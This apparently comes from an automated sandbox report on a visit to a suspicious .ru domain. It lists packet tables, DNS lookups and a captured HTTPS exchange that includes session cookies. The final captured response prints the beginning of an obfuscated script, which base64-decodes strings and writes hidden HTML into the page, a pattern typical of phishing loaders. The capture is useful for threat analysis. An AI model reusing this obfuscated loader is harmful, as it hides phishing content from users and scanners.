Mar 19, 2025 20:28:21.628767014 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.628784895 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.628809929 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.628839970 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.628853083 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.628859043 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.629108906 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.629143000 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.629153013 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.629158974 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.629183054 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.629851103 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.629897118 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.629900932 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.629911900 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.629951954 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.629956961 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.629986048 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.630024910 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.630075932 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.630083084 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.631171942 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.631203890 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.631217003 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.631222963 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.631239891 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.631264925 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.631295919 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.631309986 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.631314039 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.631350994 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.631732941 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.631814957 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.631886959 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.631894112 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.632057905 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.632093906 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.632106066 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.632111073 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.632158995 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.632600069 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.632836103 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.632869959 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.632883072 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.632888079 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.632922888 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.632961988 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.632968903 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.632975101 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.633004904 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.633024931 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.635576010 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.647273064 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.647305012 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.960899115 CET	49722	443	192.168.2.18	104.16.2.189
Mar 19, 2025 20:28:21.960959911 CET	443	49722	104.16.2.189	192.168.2.18
Mar 19, 2025 20:28:21.961040974 CET	49722	443	192.168.2.18	104.16.2.189
Mar 19, 2025 20:28:21.961177111 CET	49722	443	192.168.2.18	104.16.2.189
Mar 19, 2025 20:28:21.961184978 CET	443	49722	104.16.2.189	192.168.2.18
Mar 19, 2025 20:28:22.164962053 CET	443	49722	104.16.2.189	192.168.2.18
Mar 19, 2025 20:28:22.165071964 CET	49722	443	192.168.2.18	104.16.2.189
Mar 19, 2025 20:28:22.166333914 CET	49722	443	192.168.2.18	104.16.2.189
Mar 19, 2025 20:28:22.166354895 CET	443	49722	104.16.2.189	192.168.2.18
Mar 19, 2025 20:28:22.166599035 CET	443	49722	104.16.2.189	192.168.2.18
Mar 19, 2025 20:28:22.167032003 CET	49722	443	192.168.2.18	104.16.2.189
Mar 19, 2025 20:28:22.212332964 CET	443	49722	104.16.2.189	192.168.2.18
Mar 19, 2025 20:28:22.458097935 CET	443	49722	104.16.2.189	192.168.2.18
Mar 19, 2025 20:28:22.458213091 CET	443	49722	104.16.2.189	192.168.2.18
Mar 19, 2025 20:28:22.458282948 CET	49722	443	192.168.2.18	104.16.2.189
Mar 19, 2025 20:28:22.459336996 CET	49722	443	192.168.2.18	104.16.2.189
Mar 19, 2025 20:28:22.459362030 CET	443	49722	104.16.2.189	192.168.2.18
Mar 19, 2025 20:28:22.562782049 CET	49723	443	192.168.2.18	104.16.2.189
Mar 19, 2025 20:28:22.562829018 CET	443	49723	104.16.2.189	192.168.2.18
Mar 19, 2025 20:28:22.562906027 CET	49723	443	192.168.2.18	104.16.2.189
Mar 19, 2025 20:28:22.563038111 CET	49723	443	192.168.2.18	104.16.2.189
Mar 19, 2025 20:28:22.563056946 CET	443	49723	104.16.2.189	192.168.2.18
Mar 19, 2025 20:28:22.756489992 CET	443	49723	104.16.2.189	192.168.2.18
Mar 19, 2025 20:28:22.756587029 CET	49723	443	192.168.2.18	104.16.2.189
Mar 19, 2025 20:28:22.757014990 CET	49723	443	192.168.2.18	104.16.2.189
Mar 19, 2025 20:28:22.757023096 CET	443	49723	104.16.2.189	192.168.2.18
Mar 19, 2025 20:28:22.757272005 CET	443	49723	104.16.2.189	192.168.2.18
Mar 19, 2025 20:28:22.757531881 CET	49723	443	192.168.2.18	104.16.2.189
Mar 19, 2025 20:28:22.800323009 CET	443	49723	104.16.2.189	192.168.2.18
Mar 19, 2025 20:28:23.075480938 CET	443	49723	104.16.2.189	192.168.2.18
Mar 19, 2025 20:28:23.075618982 CET	443	49723	104.16.2.189	192.168.2.18
Mar 19, 2025 20:28:23.075670004 CET	49723	443	192.168.2.18	104.16.2.189
Mar 19, 2025 20:28:23.076647997 CET	49723	443	192.168.2.18	104.16.2.189
Mar 19, 2025 20:28:23.076668024 CET	443	49723	104.16.2.189	192.168.2.18
Mar 19, 2025 20:28:24.183295012 CET	49725	443	192.168.2.18	142.251.40.132
Mar 19, 2025 20:28:24.183332920 CET	443	49725	142.251.40.132	192.168.2.18
Mar 19, 2025 20:28:24.183530092 CET	49725	443	192.168.2.18	142.251.40.132
Mar 19, 2025 20:28:24.183562040 CET	49725	443	192.168.2.18	142.251.40.132
Mar 19, 2025 20:28:24.183568001 CET	443	49725	142.251.40.132	192.168.2.18
Mar 19, 2025 20:28:24.390615940 CET	443	49725	142.251.40.132	192.168.2.18
Mar 19, 2025 20:28:24.390779018 CET	49725	443	192.168.2.18	142.251.40.132
Mar 19, 2025 20:28:24.392132998 CET	49725	443	192.168.2.18	142.251.40.132
Mar 19, 2025 20:28:24.392143011 CET	443	49725	142.251.40.132	192.168.2.18
Mar 19, 2025 20:28:24.392389059 CET	443	49725	142.251.40.132	192.168.2.18
Mar 19, 2025 20:28:24.446422100 CET	49725	443	192.168.2.18	142.251.40.132
Mar 19, 2025 20:28:25.910922050 CET	80	49700	23.203.176.221	192.168.2.18
Mar 19, 2025 20:28:25.911139011 CET	49700	80	192.168.2.18	23.203.176.221
Mar 19, 2025 20:28:25.911189079 CET	49700	80	192.168.2.18	23.203.176.221
Mar 19, 2025 20:28:26.219196081 CET	49700	80	192.168.2.18	23.203.176.221
Mar 19, 2025 20:28:26.310345888 CET	80	49700	23.203.176.221	192.168.2.18
Mar 19, 2025 20:28:30.051286936 CET	49682	80	192.168.2.18	204.79.197.203
Mar 19, 2025 20:28:34.386127949 CET	443	49725	142.251.40.132	192.168.2.18
Mar 19, 2025 20:28:34.386197090 CET	443	49725	142.251.40.132	192.168.2.18
Mar 19, 2025 20:28:34.386295080 CET	49725	443	192.168.2.18	142.251.40.132
Mar 19, 2025 20:28:35.469748020 CET	49725	443	192.168.2.18	142.251.40.132
Mar 19, 2025 20:28:35.469779968 CET	443	49725	142.251.40.132	192.168.2.18
Mar 19, 2025 20:28:59.565464973 CET	49694	80	192.168.2.18	142.251.40.195
Mar 19, 2025 20:28:59.565541029 CET	49695	80	192.168.2.18	199.232.210.172
Mar 19, 2025 20:28:59.658103943 CET	80	49694	142.251.40.195	192.168.2.18
Mar 19, 2025 20:28:59.658220053 CET	49694	80	192.168.2.18	142.251.40.195
Mar 19, 2025 20:28:59.658926964 CET	80	49695	199.232.210.172	192.168.2.18
Mar 19, 2025 20:28:59.658960104 CET	80	49695	199.232.210.172	192.168.2.18
Mar 19, 2025 20:28:59.659010887 CET	49695	80	192.168.2.18	199.232.210.172
Mar 19, 2025 20:29:06.793658972 CET	80	49703	208.89.73.23	192.168.2.18
Mar 19, 2025 20:29:06.793837070 CET	49703	80	192.168.2.18	208.89.73.23
Mar 19, 2025 20:29:06.793880939 CET	49703	80	192.168.2.18	208.89.73.23
Mar 19, 2025 20:29:06.892086029 CET	80	49703	208.89.73.23	192.168.2.18
Mar 19, 2025 20:29:24.129825115 CET	49985	443	192.168.2.18	142.251.40.132
Mar 19, 2025 20:29:24.129868031 CET	443	49985	142.251.40.132	192.168.2.18
Mar 19, 2025 20:29:24.129954100 CET	49985	443	192.168.2.18	142.251.40.132
Mar 19, 2025 20:29:24.130146980 CET	49985	443	192.168.2.18	142.251.40.132
Mar 19, 2025 20:29:24.130162001 CET	443	49985	142.251.40.132	192.168.2.18
Mar 19, 2025 20:29:24.345278025 CET	443	49985	142.251.40.132	192.168.2.18
Mar 19, 2025 20:29:24.345623016 CET	49985	443	192.168.2.18	142.251.40.132
Mar 19, 2025 20:29:24.345647097 CET	443	49985	142.251.40.132	192.168.2.18
Mar 19, 2025 20:29:34.381691933 CET	443	49985	142.251.40.132	192.168.2.18
Mar 19, 2025 20:29:34.381759882 CET	443	49985	142.251.40.132	192.168.2.18
Mar 19, 2025 20:29:34.381860971 CET	49985	443	192.168.2.18	142.251.40.132
Mar 19, 2025 20:29:35.470175982 CET	49985	443	192.168.2.18	142.251.40.132
Mar 19, 2025 20:29:35.470220089 CET	443	49985	142.251.40.132	192.168.2.18
Mar 19, 2025 20:29:49.470802069 CET	443	49688	184.86.251.28	192.168.2.18
Mar 19, 2025 20:29:49.470941067 CET	443	49688	184.86.251.28	192.168.2.18
Mar 19, 2025 20:29:49.471066952 CET	49688	443	192.168.2.18	184.86.251.28
Mar 19, 2025 20:29:49.471066952 CET	49688	443	192.168.2.18	184.86.251.28
Mar 19, 2025 20:29:52.349989891 CET	49699	443	192.168.2.18	40.126.28.19
Mar 19, 2025 20:29:52.468219042 CET	443	49699	40.126.28.19	192.168.2.18
Mar 19, 2025 20:29:52.468441963 CET	49699	443	192.168.2.18	40.126.28.19
Mar 19, 2025 20:29:56.120122910 CET	49702	443	192.168.2.18	184.31.69.3
Mar 19, 2025 20:29:56.219042063 CET	443	49702	184.31.69.3	192.168.2.18
Mar 19, 2025 20:29:56.219161987 CET	443	49702	184.31.69.3	192.168.2.18
Mar 19, 2025 20:29:56.219213009 CET	49702	443	192.168.2.18	184.31.69.3
Mar 19, 2025 20:29:56.219305038 CET	49702	443	192.168.2.18	184.31.69.3
Mar 19, 2025 20:29:56.725672960 CET	49704	443	192.168.2.18	184.31.69.3
Mar 19, 2025 20:29:56.821186066 CET	443	49704	184.31.69.3	192.168.2.18
Mar 19, 2025 20:29:56.821254015 CET	443	49704	184.31.69.3	192.168.2.18
Mar 19, 2025 20:29:56.821346998 CET	49704	443	192.168.2.18	184.31.69.3
Mar 19, 2025 20:29:56.821388006 CET	49704	443	192.168.2.18	184.31.69.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2025 20:28:19.344626904 CET	58205	53	192.168.2.18	1.1.1.1
Mar 19, 2025 20:28:19.344803095 CET	52017	53	192.168.2.18	1.1.1.1
Mar 19, 2025 20:28:19.417579889 CET	53	54362	1.1.1.1	192.168.2.18
Mar 19, 2025 20:28:19.434427977 CET	53	57001	1.1.1.1	192.168.2.18
Mar 19, 2025 20:28:19.677831888 CET	53	52017	1.1.1.1	192.168.2.18
Mar 19, 2025 20:28:19.695620060 CET	53	58205	1.1.1.1	192.168.2.18
Mar 19, 2025 20:28:20.327261925 CET	53	51225	1.1.1.1	192.168.2.18
Mar 19, 2025 20:28:20.682961941 CET	56575	53	192.168.2.18	1.1.1.1
Mar 19, 2025 20:28:20.683365107 CET	59560	53	192.168.2.18	1.1.1.1
Mar 19, 2025 20:28:20.684497118 CET	54065	53	192.168.2.18	1.1.1.1
Mar 19, 2025 20:28:20.684792042 CET	63718	53	192.168.2.18	1.1.1.1
Mar 19, 2025 20:28:20.685175896 CET	52192	53	192.168.2.18	1.1.1.1
Mar 19, 2025 20:28:20.685440063 CET	54552	53	192.168.2.18	1.1.1.1
Mar 19, 2025 20:28:20.781270981 CET	53	59560	1.1.1.1	192.168.2.18
Mar 19, 2025 20:28:20.781589985 CET	53	56575	1.1.1.1	192.168.2.18
Mar 19, 2025 20:28:20.782305002 CET	53	54552	1.1.1.1	192.168.2.18
Mar 19, 2025 20:28:20.782892942 CET	53	54065	1.1.1.1	192.168.2.18
Mar 19, 2025 20:28:20.783660889 CET	53	52192	1.1.1.1	192.168.2.18
Mar 19, 2025 20:28:20.784228086 CET	53	63718	1.1.1.1	192.168.2.18
Mar 19, 2025 20:28:21.860727072 CET	62756	53	192.168.2.18	1.1.1.1
Mar 19, 2025 20:28:21.861048937 CET	63392	53	192.168.2.18	1.1.1.1
Mar 19, 2025 20:28:21.959709883 CET	53	63392	1.1.1.1	192.168.2.18
Mar 19, 2025 20:28:21.960411072 CET	53	62756	1.1.1.1	192.168.2.18
Mar 19, 2025 20:28:22.462568045 CET	65182	53	192.168.2.18	1.1.1.1
Mar 19, 2025 20:28:22.462732077 CET	60390	53	192.168.2.18	1.1.1.1
Mar 19, 2025 20:28:22.562009096 CET	53	60390	1.1.1.1	192.168.2.18
Mar 19, 2025 20:28:22.562031984 CET	53	65182	1.1.1.1	192.168.2.18
Mar 19, 2025 20:28:24.084830999 CET	49390	53	192.168.2.18	1.1.1.1
Mar 19, 2025 20:28:24.085082054 CET	64176	53	192.168.2.18	1.1.1.1
Mar 19, 2025 20:28:24.180468082 CET	53	64176	1.1.1.1	192.168.2.18
Mar 19, 2025 20:28:24.182521105 CET	53	49390	1.1.1.1	192.168.2.18
Mar 19, 2025 20:28:37.404474974 CET	53	57665	1.1.1.1	192.168.2.18
Mar 19, 2025 20:28:56.154642105 CET	53	55977	1.1.1.1	192.168.2.18
Mar 19, 2025 20:29:06.693157911 CET	138	138	192.168.2.18	192.168.2.255
Mar 19, 2025 20:29:18.878346920 CET	53	58661	1.1.1.1	192.168.2.18
Mar 19, 2025 20:29:19.359788895 CET	53	50240	1.1.1.1	192.168.2.18
Mar 19, 2025 20:29:22.514385939 CET	53	62660	1.1.1.1	192.168.2.18
Mar 19, 2025 20:29:48.441987038 CET	53	61413	1.1.1.1	192.168.2.18

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 19, 2025 20:28:19.344626904 CET	192.168.2.18	1.1.1.1	0x8ad1	Standard query (0)	0m.hzusyylm.ru	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:19.344803095 CET	192.168.2.18	1.1.1.1	0x37b5	Standard query (0)	0m.hzusyylm.ru	65	IN (0x0001)	false
Mar 19, 2025 20:28:20.682961941 CET	192.168.2.18	1.1.1.1	0xa296	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:20.683365107 CET	192.168.2.18	1.1.1.1	0x75d7	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 19, 2025 20:28:20.684497118 CET	192.168.2.18	1.1.1.1	0x9499	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:20.684792042 CET	192.168.2.18	1.1.1.1	0x742b	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Mar 19, 2025 20:28:20.685175896 CET	192.168.2.18	1.1.1.1	0xa9d0	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:20.685440063 CET	192.168.2.18	1.1.1.1	0x1137	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 19, 2025 20:28:21.860727072 CET	192.168.2.18	1.1.1.1	0xf688	Standard query (0)	developers.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:21.861048937 CET	192.168.2.18	1.1.1.1	0x4fc3	Standard query (0)	developers.cloudflare.com	65	IN (0x0001)	false
Mar 19, 2025 20:28:22.462568045 CET	192.168.2.18	1.1.1.1	0x4167	Standard query (0)	developers.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:22.462732077 CET	192.168.2.18	1.1.1.1	0x9d8b	Standard query (0)	developers.cloudflare.com	65	IN (0x0001)	false
Mar 19, 2025 20:28:24.084830999 CET	192.168.2.18	1.1.1.1	0x4e1f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:24.085082054 CET	192.168.2.18	1.1.1.1	0xeae9	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Mar 19, 2025 20:28:19.677831888 CET	1.1.1.1	192.168.2.18	0x37b5	No error (0)	0m.hzusyylm.ru		65	IN (0x0001)	false
Mar 19, 2025 20:28:19.695620060 CET	1.1.1.1	192.168.2.18	0x8ad1	No error (0)	0m.hzusyylm.ru	172.67.157.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:19.695620060 CET	1.1.1.1	192.168.2.18	0x8ad1	No error (0)	0m.hzusyylm.ru	104.21.14.46	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:20.781589985 CET	1.1.1.1	192.168.2.18	0xa296	No error (0)	code.jquery.com	151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:20.781589985 CET	1.1.1.1	192.168.2.18	0xa296	No error (0)	code.jquery.com	151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:20.781589985 CET	1.1.1.1	192.168.2.18	0xa296	No error (0)	code.jquery.com	151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:20.781589985 CET	1.1.1.1	192.168.2.18	0xa296	No error (0)	code.jquery.com	151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:20.782305002 CET	1.1.1.1	192.168.2.18	0x1137	No error (0)	cdnjs.cloudflare.com		65	IN (0x0001)	false
Mar 19, 2025 20:28:20.782892942 CET	1.1.1.1	192.168.2.18	0x9499	No error (0)	challenges.cloudflare.com	104.18.95.41	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:20.782892942 CET	1.1.1.1	192.168.2.18	0x9499	No error (0)	challenges.cloudflare.com	104.18.94.41	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:20.783660889 CET	1.1.1.1	192.168.2.18	0xa9d0	No error (0)	cdnjs.cloudflare.com	104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:20.783660889 CET	1.1.1.1	192.168.2.18	0xa9d0	No error (0)	cdnjs.cloudflare.com	104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:20.784228086 CET	1.1.1.1	192.168.2.18	0x742b	No error (0)	challenges.cloudflare.com		65	IN (0x0001)	false
Mar 19, 2025 20:28:21.959709883 CET	1.1.1.1	192.168.2.18	0x4fc3	No error (0)	developers.cloudflare.com		65	IN (0x0001)	false
Mar 19, 2025 20:28:21.960411072 CET	1.1.1.1	192.168.2.18	0xf688	No error (0)	developers.cloudflare.com	104.16.2.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:21.960411072 CET	1.1.1.1	192.168.2.18	0xf688	No error (0)	developers.cloudflare.com	104.16.3.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:21.960411072 CET	1.1.1.1	192.168.2.18	0xf688	No error (0)	developers.cloudflare.com	104.16.4.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:21.960411072 CET	1.1.1.1	192.168.2.18	0xf688	No error (0)	developers.cloudflare.com	104.16.5.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:21.960411072 CET	1.1.1.1	192.168.2.18	0xf688	No error (0)	developers.cloudflare.com	104.16.6.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:22.562009096 CET	1.1.1.1	192.168.2.18	0x9d8b	No error (0)	developers.cloudflare.com		65	IN (0x0001)	false
Mar 19, 2025 20:28:22.562031984 CET	1.1.1.1	192.168.2.18	0x4167	No error (0)	developers.cloudflare.com	104.16.2.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:22.562031984 CET	1.1.1.1	192.168.2.18	0x4167	No error (0)	developers.cloudflare.com	104.16.3.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:22.562031984 CET	1.1.1.1	192.168.2.18	0x4167	No error (0)	developers.cloudflare.com	104.16.4.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:22.562031984 CET	1.1.1.1	192.168.2.18	0x4167	No error (0)	developers.cloudflare.com	104.16.5.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:22.562031984 CET	1.1.1.1	192.168.2.18	0x4167	No error (0)	developers.cloudflare.com	104.16.6.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:28:24.180468082 CET	1.1.1.1	192.168.2.18	0xeae9	No error (0)	www.google.com		65	IN (0x0001)	false
Mar 19, 2025 20:28:24.182521105 CET	1.1.1.1	192.168.2.18	0x4e1f	No error (0)	www.google.com	142.251.40.132	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

0m.hzusyylm.ru

challenges.cloudflare.com

cdnjs.cloudflare.com

code.jquery.com

developers.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.18	49714	172.67.157.189	443	2584	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 19:28:19 UTC	655	OUT	GET /zmmV/ HTTP/1.1 Host: 0m.hzusyylm.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 19:28:20 UTC	1203	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 19:28:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U2TkwHfkp6cjUD2GJbg4scSJE0be0yoxVjGaM9RQPNzAI78f%2BV2PvoQDGPEinsBvjKKRJx%2FLWKRTN9qdT%2FtawyrBcEneks9oVt2c4qzSWEjZsFOWdqA6BCQQU8rH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=316&min_rtt=313&rtt_var=124&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1554&delivery_rate=11929203&cwnd=252&unsent_bytes=0&cid=6837539e8565b166&ts=207&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjFubDJ0dkY3N25BUzduOTBkWjJQT3c9PSIsInZhbHVlIjoidnVDK0d1YUxFMUNQRGl2VUtKUVpuRzV4TTRvWDBlTnNKWmZ3T05NNkdMeFk2T3BBcWJJci9JVXEzOFNtMzgyc2lxSmF3MDQxTjQvZWlhNElSUy8xVHMxcklDeHdMQmFuVDg1V2dJeFlTdUhCNTNBSkNuLzN0bHdBLzRIbXBjYlIiLCJtYWMiOiI4MDM2NWQ1ZmMwMWI0MmZhNzY3MTQyMTU1NTU5YTc0NzkwMjFhOGQ5Mjg2MTU3MjA0MTgwYTE4ZmYxMmQxOGE5IiwidGFnIjoiIn0%3D; expires=Wed, 19-Mar-2025 21:28:20 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-19 19:28:20 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 30 79 4d 30 35 36 59 69 39 6b 56 55 78 75 51 6d 4e 74 53 57 52 54 5a 6d 46 71 53 46 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4e 6e 52 55 53 57 5a 73 4e 30 46 43 64 47 4e 48 52 6d 56 56 4e 6a 68 56 51 58 56 70 61 6e 4e 35 63 46 70 4e 65 6d 73 7a 62 44 64 56 65 55 74 54 56 53 39 56 59 56 56 74 5a 32 4e 76 4e 31 4a 46 5a 46 46 73 4d 48 4a 61 63 33 42 79 65 47 78 45 56 58 70 30 4d 32 74 74 54 6e 6c 35 5a 6d 52 44 55 30 64 76 52 30 52 71 64 6b 74 4a 56 55 31 59 53 56 46 51 4f 48 59 76 62 6a 68 43 4f 46 67 31 64 6e 4e 61 56 6b 70 6b 4d 56 55 32 51 6d 70 6d 51 6d 4e 53 59 31 63 79 4d 30 6c 78 51 6b 35 58 55 55 5a 74 51 6b 51 34 56 45 30 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Im0yM056Yi9kVUxuQmNtSWRTZmFqSFE9PSIsInZhbHVlIjoiNnRUSWZsN0FCdGNHRmVVNjhVQXVpanN5cFpNemszbDdVeUtTVS9VYVVtZ2NvN1JFZFFsMHJac3ByeGxEVXp0M2ttTnl5ZmRDU0dvR0RqdktJVU1YSVFQOHYvbjhCOFg1dnNaVkpkMVU2QmpmQmNSY1cyM0lxQk5XUUZtQkQ4VE0
2025-03-19 19:28:20 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 3c 73 63 72 69 70 74 3e 0a 6b 47 69 47 66 42 42 4f 44 4b 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 38 77 54 53 35 6f 65 6e 56 7a 65 58 6c 73 62 53 35 79 64 53 39 36 62 57 31 57 4c 77 3d 3d 22 29 3b 0a 75 66 78 59 58 72 66 41 46 50 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 64 55 6e 6e 54 4c 6e 6e 66 68 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 6b 47 69 47 66 42 42 4f 44 4b 20 3d 3d 20 75 66 78 59 58 72 66 41 46 50 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 64 55 6e 6e 54 4c 6e 6e 66 68 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 43 6a 78 6f 64 47 31 73 Data Ascii: 7ffa<script>kGiGfBBODK = atob("aHR0cHM6Ly8wTS5oenVzeXlsbS5ydS96bW1WLw==");ufxYXrfAFP = atob("bm9tYXRjaA==");dUnnTLnnfh = atob("d3JpdGU=");if(kGiGfBBODK == ufxYXrfAFP){document[dUnnTLnnfh](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+CjxodG1s
